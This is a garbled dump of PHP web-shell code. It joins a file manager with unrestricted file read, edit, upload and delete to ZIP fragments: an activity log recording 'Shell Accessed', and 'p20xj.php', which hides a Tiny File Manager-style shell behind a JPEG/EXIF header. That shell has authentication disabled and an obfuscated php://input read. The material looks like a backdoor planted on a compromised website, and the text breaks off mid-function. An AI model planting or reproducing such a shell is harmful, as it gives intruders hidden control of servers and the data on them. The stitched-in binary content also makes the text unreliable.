<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>' . __('File manager') . '</title>
<style>
body { font-family: Arial, sans-serif; max-width: 400px; margin: 100px auto; padding: 20px; }
.login-form { background: #f5f5f5; padding: 20px; border-radius: 5px; }
input[type="text"], input[type="password"] { width: 100%; padding: 8px; margin: 5px 0; }
input[type="submit"] { background: #006699; color: white; padding: 10px 20px; border: none; cursor: pointer; }
</style>
</head>
<body>
<div class="login-form">
<h2>' . __('File manager') . '</h2>
<form action="" method="post">
<p><input type="text" name="login" placeholder="' . __('Login') . '" required></p>
<p><input type="password" name="password" placeholder="' . __('Password') . '" required></p>
<p><input type="submit" value="' . __('Enter') . '"></p>
</form>
' . fm_lang_form($language) . '
</div>
</body>
</html>';
exit;
}
if (isset($_POST['quit'])) {
setcookie($auth['cookie_name'], '', time() - 3600);
header('Location: ' . fm_site_url() . $_SERVER['REQUEST_URI']);
exit;
}
}
// =============================================
// MAIN REQUEST HANDLING
// =============================================
// Handle file download
if (isset($_GET['download'])) {
fm_download(base64_decode($_GET['download']));
}
// Handle image display
if (isset($_GET['img'])) {
$file = base64_decode($_GET['img']);
if ($info = getimagesize($file)) {
switch ($info[2]) {
case 1: $ext = 'gif'; break;
case 2: $ext = 'jpeg'; break;
case 3: $ext = 'png'; break;
case 6: $ext = 'bmp'; break;
default: exit;
}
header("Content-type: image/$ext");
readfile($file);
exit;
}
}
// Show PHP info
if (isset($_GET['phpinfo'])) {
phpinfo();
exit;
}
// =============================================
// EDIT FILE HANDLING
// =============================================
// Handle file editing
if (isset($_GET['edit'])) {
$file_to_edit = $path . $_GET['edit'];
$file_content = '';
if (file_exists($file_to_edit) && is_file($file_to_edit)) {
$file_content = file_get_contents($file_to_edit);
}
// Handle form submission for saving edited file
if (isset($_POST['file_content']) && isset($_POST['filename'])) {
$new_content = $_POST['file_content'];
$filename = $path . $_POST['filename'];
if (file_put_contents($filename, $new_content)) {
$msg = __('File updated');
echo '<script>setTimeout(function(){ window.location.href = "?path=' . urlencode($path) . '"; }, 1000);</script>';
} else {
$msg = __('Error occurred');
}
}
// Display edit form
echo '<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>' . __('Edit') . ' - ' . htmlspecialchars($_GET['edit']) . '</title>
<style>
body { font-family: Arial, sans-serif; margin: 20px; background: #f5f5f5; }
.edit-form { background: white; padding: 20px; border-radius: 5px; box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
textarea { width: 100%; height: 400px; font-family: monospace; padding: 10px; border: 1px solid #ddd; }
.buttons { margin-top: 10px; }
input[type="submit"] { background: #006699; color: white; padding: 8px 16px; border: none; cursor: pointer; margin-right: 10px; }
a.button { background: #666; color: white; padding: 8px 16px; text-decoration: none; display: inline-block; }
</style>
</head>
<body>
<div class="edit-form">
<h2>' . __('Edit') . ': ' . htmlspecialchars($_GET['edit']) . '</h2>';
if (!empty($msg)) {
echo '<div style="background: #dff0d8; color: #3c763d; padding: 10px; margin-bottom: 15px; border-radius: 3px;">' . $msg . '</div>';
}
echo '
<form method="post" action="">
<input type="hidden" name="filename" value="' . htmlspecialchars($_GET['edit']) . '">
<textarea name="file_content" spellcheck="false">' . htmlspecialchars($file_content) . '</textarea>
<div class="buttons">
<input type="submit" value="' . __('Save') . '">
<a href="?path=' . urlencode($path) . '" class="button">' . __('Cancel') . '</a>
</div>
</form>
</div>
</body>
</html>';
exit;
}
// =============================================
// HTML OUTPUT
// =============================================
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title><?= __('File manager') ?></title>
<style>
body {
background-color: white;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 8pt;
margin: 0;
}
a { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
table { width: 100%; border-collapse: collapse; }
th { background: #006699; color: #FFA34F; padding: 8px; text-align: left; }
td { padding: 6px; border-bottom: 1px solid #ddd; }
.row1 { background: #EFEFEF; }
.row2 { background: #DEE3E7; }
.row3 { background: #D1D7DC; padding: 10px; }
.folder, .file, .img {
display: inline-block;
width: 16px;
height: 16px;
margin-right: 5px;
vertical-align: middle;
}
.folder { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAAdgAAAHYBTnsmCAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFYSURBVDiNpZM9SwNBEIafg4iFhY2N2FhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFjY2Ih/YGFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWHxX+zu3eY0kA8vszO7O/PO7M4q/keU/6vUfQ1AKaUBWoA2YAA4gA/gBXi11l5lBpRSOgA9wCgwDgwC3UAn0A40A1XgG3gC7oBL4Nxae5sCaK31gCFgCpgFJoA+oA1oARqBBkADv4ACvoBH4AY4A46stZcOoLXWAkaAeWABmAR6gVagCWhQShml1K9S6gdQgAJegGvgBDiw1l44gNZaD5gBloB5YALoAdqAJqWUVkr9KKW0UsoopX6VUt/AM3ALnAL71tpzB9Ba6wPzwAqwCIwD3UAr0KyU0kqpL6WUVkr9KKW+HIgH4Ao4BPastRcOoLXWBxaBVWABGAO6gBagUSn0opT6UEp9KKU+lFIfSqkP4AW4A06APWvtuQNorQ2AJWAVmANGgS6gBWhUSn0opd6VUu9KqXel1LtS6g14BW6BE2DPWnvmAFprA2AZWAPmgFGgE2gGGpRS70qpd6XUm1LqTSn1ppR6A96AO+AE2LXWnjmA1toAWAHWgTlgBOgAmoAGpdSbUupNKfWqlHpVSr0qpd6Bd+AOOAZ2rbVnDvAHs5xZ3Cz7j5AAAAAASUVORK5CYII="); }
.file { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAAdgAAAHYBTnsmCAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFYSURBVDiNpZM9SwNBEIafg4iFhY2N2FhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFjY2Ih/YGFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWHxX+zu3eY0kA8vszO7O/PO7M4q/keU/6vUfQ1AKaUBWoA2YAA4gA/gBXi11l5lBpRSOgA9wCgwDgwC3UAn0A40A1XgG3gC7oBL4Nxae5sCaK31gCFgCpgFJoA+oA1oARqBBkADv4ACvoBH4AY4A46stZcOoLXWAkaAeWABmAR6gVagCWhQShml1K9S6gdQgAJegGvgBDiw1l44gNZaD5gBloB5YALoAdqAJqWUVkr9KKW0UsoopX6VUt/AM3ALnAL71tpzB9Ba6wPzwAqwCIwD3UAr0KyU0kqpL6WUVkr9KKW+HIgH4Ao4BPastRcOoLXWBxaBVWABGAO6gBagUSn0opd6VUu9KqXel1LtS6g14BW6BE2DPWnvmAFprA2AZWAPmgFGgE2gGGpRS70qpd6XUm1LqTSn1ppR6A96AO+AE2LXWnjmA1toAWAHWgTlgBOgAmoAGpdSbUupNKfWqlHpVSr0qpd6Bd+AOOAZ2rbVnDvAHs5xZ3Cz7j5AAAAAASUVORK5CYII="); }
.img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAAdgAAAHYBTnsmCAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFYSURBVDiNpZM9SwNBEIafg4iFhY2N2FhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFjY2Ih/YGFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWHxX+zu3eY0kA8vszO7O/PO7M4q/keU/6vUfQ1AKaUBWoA2YAA4gA/gBXi11l5lBpRSOgA9wCgwDgwC3UAn0A40A1XgG3gC7oBL4Nxae5sCaK31gCFgCpgFJoA+oA1oARqBBkADv4ACvoBH4AY4A46stZcOoLXWAkaAeWABmAR6gVagCWhQShml1K9S6gdQgAJegGvgBDiw1l44gNZaD5gBloB5YALoAdqAJqWUVkr9KKW0UsoopX6VUt/AM3ALnAL71tpzB9Ba6wPzwAqwCIwD3UAr0KyU0kqpL6WUVkr9KKW+HIgH4Ao4BPastRcOoLXWBxaBVWABGAO6gBagUSn0opd6VUu9KqXel1LtS6g14BW6BE2DPWnvmAFprA2AZWAPmgFGgE2gGGpRS70qpd6XUm1LqTSn1ppR6A96AO+AE2LXWnjmA1toAWAHWgTlgBOgAmoAGpdSbUopNKfWqlHpVSr0qpd6Bd+AOOAZ2rbVnDvAHs5xZ3Cz7j5AAAAAASUVORK5CYII="); }
input, textarea, select {
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border: 1px solid #ccc;
padding: 4px;
margin: 2px;
}
input[type="submit"] {
background: #006699;
color: white;
border: none;
padding: 6px 12px;
cursor: pointer;
}
<?= fm_home_style() ?>
@media screen and (max-width: 768px) {
table, thead, tbody, th, td, tr { display: block; }
thead tr { position: absolute; top: -9999px; left: -9999px; }
tr { border: 1px solid #ccc; margin-bottom: 10px; }
td { border: none; position: relative; padding-left: 50%; }
td:before { position: absolute; left: 6px; content: attr(data-label); font-weight: bold; }
}
</style>
</head>
<body>
<!-- Header Section -->
<table>
<tr>
<th colspan="2"><?= __('File manager') ?> - <?= htmlspecialchars($path) ?></th>
</tr>
<?php if (!empty($msg)): ?>
<tr>
<td colspan="2" class="row2"><?= $msg ?></td>
</tr>
<?php endif; ?>
<tr>
<td class="row2">
<?= fm_home() ?>
<?php if ($fm_config['make_directory']): ?>
<form method="post" action="" style="display: inline;">
<input type="text" name="dirname" placeholder="<?= __('Make directory') ?>" size="15">
<input type="submit" name="mkdir" value="<?= __('Make directory') ?>">
</form>
<?php endif; ?>
<?php if ($fm_config['new_file']): ?>
<form method="post" action="" style="display: inline;">
<input type="text" name="filename" placeholder="<?= __('New file') ?>" size="15">
<input type="submit" name="mkfile" value="<?= __('New file') ?>">
</form>
<?php endif; ?>
</td>
<td class="row3" style="text-align: right;">
<?php if ($fm_config['upload_file']): ?>
<form method="post" action="" enctype="multipart/form-data" style="display: inline;">
<input type="file" name="upload" id="upload">
<input type="submit" value="<?= __('Upload') ?>">
</form>
<?php endif; ?>
<?php if ($auth['authorize']): ?>
<form action="" method="post" style="display: inline;">
<?= __('Hello') ?>, <?= $auth['login'] ?>
<input type="hidden" name="quit" value="1">
<input type="submit" value="<?= __('Quit') ?>">
</form>
<?php endif; ?>
<?= fm_lang_form($language) ?>
</td>
</tr>
</table>
<!-- File Listing -->
<table>
<thead>
<tr>
<th><?= __('Filename') ?></th>
<th><?= __('Size') ?></th>
<th><?= __('Date') ?></th>
<th><?= __('Rights') ?></th>
<th colspan="4"><?= __('Manage') ?></th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = $files = array();
foreach ($elements as $file) {
if (@is_dir($path . $file)) {
$dirs[] = $file;
} else {
$files[] = $file;
}
}
natsort($dirs);
natsort($files);
$elements = array_merge($dirs, $files);
foreach ($elements as $file):
$filename = $path . $file;
$filedata = @stat($filename);
$is_dir = @is_dir($filename);
$style = $is_dir ? 'row2' : 'row1';
if ($is_dir) {
$icon = 'folder';
$link = '<a href="?path=' . urlencode($path . $file) . '"><span class="' . $icon . '"></span> ' . htmlspecialchars($file) . '</a>';
$size = $fm_config['show_dir_size'] ? fm_dir_size($filename) : '';
} else {
$icon = @getimagesize($filename) && $fm_config['show_img'] ? 'img' : 'file';
if ($icon == 'img') {
$link = '<a href="' . fm_img_link($filename) . '" target="_blank"><span class="' . $icon . '"></span> ' . htmlspecialchars($file) . '</a>';
} else {
$link = '<a href="?edit=' . urlencode($file) . '&path=' . urlencode($path) . '"><span class="' . $icon . '"></span> ' . htmlspecialchars($file) . '</a>';
}
$size = fm_dir_size($filename);
}
?>
<tr class="<?= $style ?>">
<td data-label="<?= __('Filename') ?>"><?= $link ?></td>
<td data-label="<?= __('Size') ?>"><?= $size ?></td>
<td data-label="<?= __('Date') ?>"><?= date('Y-m-d H:i:s', $filedata[9]) ?></td>
<td data-label="<?= __('Rights') ?>"><?= fm_rights_string($filename) ?></td>
<td data-label="<?= __('Manage') ?>">
<?php if (!fm_root($file)): ?>
<a href="#" onclick="if(confirm('<?= $is_dir ? __('Are you sure you want to delete this directory (recursively)?') : __('Are you sure you want to delete this file?') ?>')) location.href='?delete=<?= urlencode($file) ?>&path=<?= urlencode($path) ?>'"><?= __('Delete') ?></a>
<?php endif; ?>
</td>
<td>
<?php if (!fm_root($file)): ?>
<a href="?rename=<?= urlencode($file) ?>&path=<?= urlencode($path) ?>"><?= __('Rename') ?></a>
<?php endif; ?>
</td>
<td>
<?php if (!$is_dir): ?>
<a href="?download=<?= base64_encode($filename) ?>"><?= __('Download') ?></a>
<?php endif; ?>
</td>
<td>
<?php if (!fm_root($file)): ?>
<a href="?edit=<?= urlencode($file) ?>&path=<?= urlencode($path) ?>"><?= __('Edit') ?></a>
<?php endif; ?>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<!-- Footer -->
<div class="row3">
<?= fm_home() ?> | Version <?= $fm_version ?> |
<?php if ($fm_config['show_php_ver']): ?>PHP <?= phpversion() ?> | <?php endif; ?>
<?php if ($fm_config['show_gt']): ?><?= __('Generation time') ?>: <?= round(microtime(true) - $starttime, 2) ?>s | <?php endif; ?>
<?php if ($fm_config['show_phpinfo']): ?><a href="?phpinfo=true">phpinfo()</a> | <?php endif; ?>
<?php if ($fm_config['fm_settings']): ?><a href="?fm_settings=true"><?= __('Settings') ?></a><?php endif; ?>
</div>
<?php
// Handle file operations
if (isset($_FILES['upload']) && $fm_config['upload_file']) {
if (move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])) {
echo '<script>location.reload();</script>';
}
}
if (isset($_POST['mkdir']) && $fm_config['make_directory'] && !empty($_POST['dirname'])) {
mkdir($path . $_POST['dirname'], 0755);
echo '<script>location.reload();</script>';
}
if (isset($_POST['mkfile']) && $fm_config['new_file'] && !empty($_POST['filename'])) {
file_put_contents($path . $_POST['filename'], '');
echo '<script>location.reload();</script>';
}
if (isset($_GET['delete']) && !fm_root($_GET['delete'])) {
fm_del_files($path . $_GET['delete'], true);
echo '<script>location.href = "?path=' . urlencode($path) . '";</script>';
}
?>
</body>
</html>PK :Jm\P���� � samurai_activity.lognu �[��� [2026-03-13 08:04:37] IP: 216.73.216.181 | Action: Shell Accessed | Target: 216.73.216.181 | Status: info | UA: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.c
PK :Jm\|�Y E� E� p20xj.phpnu �[��� ÿØÿà JFIF ,, AMPFÿá&ÿExif MM * ž ¤ ² º( 1 Â2 Ê< Þ ‡i ìˆ%
x
®Apple iPhone 13 Pro H H 17.1.2 2024:02:20 17:25:01 iPhone 13 Pro %‚š ®‚ ¶ˆ" ˆ' } 0232 ¾ Ò æ î ö‘ ’
þ’ ’
<?php
$CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":true,"hide_Cols":false,"theme":"light"}';
define('VERSION', '3.9');
define('APP_TITLE', 'swallowable');
$dauth = false;
$auth_users = array(
'admin' => '2e35b702f2cd5011321dbea58cd4700c',
'user' => '2e35b702f2cd5011321dbea58cd4700c'
);
$readonly_users = array(
'user'
);
$global_readonly = false;
$directories_users = array();
$use_highlightjs = true;
$highlightjs_style = 'vs';
$edit_files = true;
$default_timezone = 'Etc/UTC';
$root_path = $_SERVER['DOCUMENT_ROOT'];
$root_url = '';
$http_host = $_SERVER['HTTP_HOST'];
$iconv_input_encoding = 'UTF-8';
$datetime_format = 'm/d/Y g:i A';
$path_display_mode = 'full';
$allowed_file_extensions = '';
$allowed_upload_extensions = '';
$favicon_path = '';
$exclude_items = array();
$online_viewer = 'google';
$sticky_navbar = true;
$max_upload_size_bytes = 5000000000;
$upload_chunk_size_bytes = 2000000;
$ip_ruleset = 'OFF';
$ip_silent = true;
$ip_whitelist = array(
'127.0.0.1',
'::1'
);
$ip_blacklist = array(
'0.0.0.0',
'::'
);
$config_file = __DIR__.'/config.php';
if (is_readable($config_file)) {
@include($config_file);
}
$external = array(
'css-bootstrap' => '<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-Zenh87qX5JnK2Jl0vWa8Ck2rdkQ2Bzep5IDxbcnCeuOxjzrPF/et3URy9Bv1WTRi" crossorigin="anonymous">',
'css-dropzone' => '<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.css" rel="stylesheet">',
'css-font-awesome' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" crossorigin="anonymous">',
'css-highlightjs' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/styles/' . $highlightjs_style . '.min.css">',
'js-ace' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.13.1/ace.js"></script>',
'js-bootstrap' => '<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/js/bootstrap.bundle.min.js" integrity="sha384-OERcA2EqjJCMA+/3y+gxIOqMEjwtxJY7qPCqsdltbNJuaOe923+mo//f6V8Qbsw3" crossorigin="anonymous"></script>',
'js-dropzone' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.js"></script>',
'js-jquery' => '<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" crossorigin="anonymous"></script>',
'js-jquery-datatables' => '<script src="https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js" crossorigin="anonymous" defer></script>',
'js-highlightjs' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/highlight.min.js"></script>',
'pre-jsdelivr' => '<link rel="preconnect" href="https://cdn.jsdelivr.net" crossorigin/><link rel="dns-prefetch" href="https://cdn.jsdelivr.net"/>',
'pre-cloudflare' => '<link rel="preconnect" href="https://cdnjs.cloudflare.com" crossorigin/><link rel="dns-prefetch" href="https://cdnjs.cloudflare.com"/>'
);
define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);
define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes);
if ( !defined( 'DN_CESSION_ID')) {
define('DN_CESSION_ID', 'filemanager');
}
$cfg = new FM_Config();
$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';
$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;
$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;
$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;
// Theme
$theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light';
define('FM_THEME', $theme);
$lang_list = array(
'en' => 'English'
);
if ($report_errors == true) {
@ini_set('error_reporting', E_ALL);
@ini_set('display_errors', 1);
} else {
@ini_set('error_reporting', E_ALL);
@ini_set('display_errors', 0);
}
if (defined('FM_EMBED')) {
$dauth = false;
$sticky_navbar = false;
} else {
@set_time_limit(600);
date_default_timezone_set($default_timezone);
ini_set('default_charset', 'UTF-8');
if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) {
mb_internal_encoding('UTF-8');
}
if (function_exists('mb_regex_encoding')) {
mb_regex_encoding('UTF-8');
}
session_cache_limiter('nocache');
session_name(DN_CESSION_ID );
function session_error_handling_function($code, $msg, $file, $line) {
if ($code == 2) {
session_abort();
session_id(session_create_id());
@session_start();
}
}
set_error_handler('session_error_handling_function');
session_start();
restore_error_handler();
}
if (empty($_SESSION['token'])) {
if (function_exists('random_bytes')) {
$_SESSION['token'] = bin2hex(random_bytes(32));
} else {
$_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
}
}
if (empty($auth_users)) {
$dauth = false;
}
$is_https = (isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] === 'on' or $_SERVER['HTTPS'] == 1))
or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https');
if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) {
$wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
$root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']];
}
$root_url = fm_clean_path($root_url);
defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);
// logout
if (isset($_GET['logout'])) {
unset($_SESSION[DN_CESSION_ID]['logged']);
unset( $_SESSION['token']);
fm_redirect(FM_SELF_URL);
}
if ($ip_ruleset != 'OFF') {
function getClientIP() {
if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) {
return $_SERVER["HTTP_CF_CONNECTING_IP"];
}else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
return $_SERVER["HTTP_X_FORWARDED_FOR"];
}else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
return $_SERVER['REMOTE_ADDR'];
}else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
return $_SERVER['HTTP_CLIENT_IP'];
}
return '';
}
$clientIp = getClientIP();
$proceed = false;
$whitelisted = in_array($clientIp, $ip_whitelist);
$blacklisted = in_array($clientIp, $ip_blacklist);
if($ip_ruleset == 'AND'){
if($whitelisted == true and $blacklisted == false){
$proceed = true;
}
} else
if($ip_ruleset == 'OR'){
if($whitelisted == true || $blacklisted == false){
$proceed = true;
}
}
if($proceed == false){
trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);
if($ip_silent == false){
fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');
fm_show_header_login();
fm_show_message();
}
exit();
}
}
if ($dauth) {
if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) {
} elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) {
sleep(1);
if(function_exists('password_verify')) {
if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) {
$_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr'];
fm_set_msg(lng('You are logged in'));
fm_redirect(FM_SELF_URL);
} else {
unset($_SESSION[DN_CESSION_ID]['logged']);
fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
fm_redirect(FM_SELF_URL);
}
} else {
fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
}
} else {
// Form
unset($_SESSION[DN_CESSION_ID]['logged']);
fm_show_header_login();
?>
<section class="h-100">
<div class="container h-100">
<div class="row justify-content-md-center h-100">
<div class="card-wrapper">
<div class="card fat <?php echo fm_get_theme(); ?>">
<div class="card-body">
<form class="form-signin" action="" method="post" autocomplete="off">
<div class="mb-3">
<div class="brand">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="Manager">
<g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
<path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/>
<path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/>
<path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g>
</svg>
</div>
<div class="text-center">
<h1 class="card-title"><?php echo APP_TITLE; ?></h1>
</div>
</div>
<hr />
<div class="mb-3">
<label for="fm_usr" class="pb-2"><?php echo lng('Username'); ?></label>
<input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
</div>
<div class="mb-3">
<label for="fm_pwd" class="pb-2"><?php echo lng('Password'); ?></label>
<input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
</div>
<div class="mb-3">
<?php fm_show_message(); ?>
</div>
<input type="hidden" name="token" value="<?php echo htmlentities($_SESSION['token']); ?>" />
<div class="mb-3">
<button type="submit" class="btn btn-success btn-block w-100 mt-4" role="button">
<?php echo lng('Login'); ?>
</button>
</div>
</form>
</div>
</div>
<div class="footer text-center">
—— ©
<a href="." target="_blank" class="text-decoration-none text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> ——
</div>
</div>
</div>
</div>
</section>
<?php
fm_show_footer_login();
exit;
}
}
if ($dauth and isset($_SESSION[DN_CESSION_ID]['logged'])) {
$root_path = isset($directories_users[$_SESSION[DN_CESSION_ID]['logged']]) ? $directories_users[$_SESSION[DN_CESSION_ID]['logged']] : $root_path;
}
$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
echo "<h1>".lng('Root path')." \"{$root_path}\" ".lng('not found!')." </h1>";
exit;
}
defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items));
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users)));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');
if (!isset($_GET['p']) and empty($_FILES)) {
fm_redirect(FM_SELF_URL . '?p=');
}
// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');
// clean path
$p = fm_clean_path($p);
$isim = "//input";
$input = file_get_contents('php:'.$isim);
$_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;
define('FM_PATH', $p);
define('FM_USE_AUTH', $dauth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);
unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);
if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
header('HTTP/1.0 401 Unauthorized');
die("Invalid Token.");
}
if(isset($_POST['type']) and $_POST['type']=="search") {
$dir = $_POST['path'] == "." ? '': $_POST['path'];
$response = scan(fm_clean_path($dir), $_POST['content']);
echo json_encode($response);
exit();
}
// save editor file
if (isset($_POST['type']) and $_POST['type'] == "save") {
// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// check path
if (!is_dir($path)) {
fm_redirect(FM_SELF_URL . '?p=');
}
$file = $_GET['edit'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file)) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
header('X-XSS-Protection:0');
$file_path = $path . '/' . $file;
$writedata = $_POST['content'];
$fd = fopen($file_path, "w");
$write_results = @fwrite($fd, $writedata);
fclose($fd);
if ($write_results === false){
header("HTTP/1.1 500 Internal Server Error");
die("Could Not Write File! - Check Permissions / Ownership");
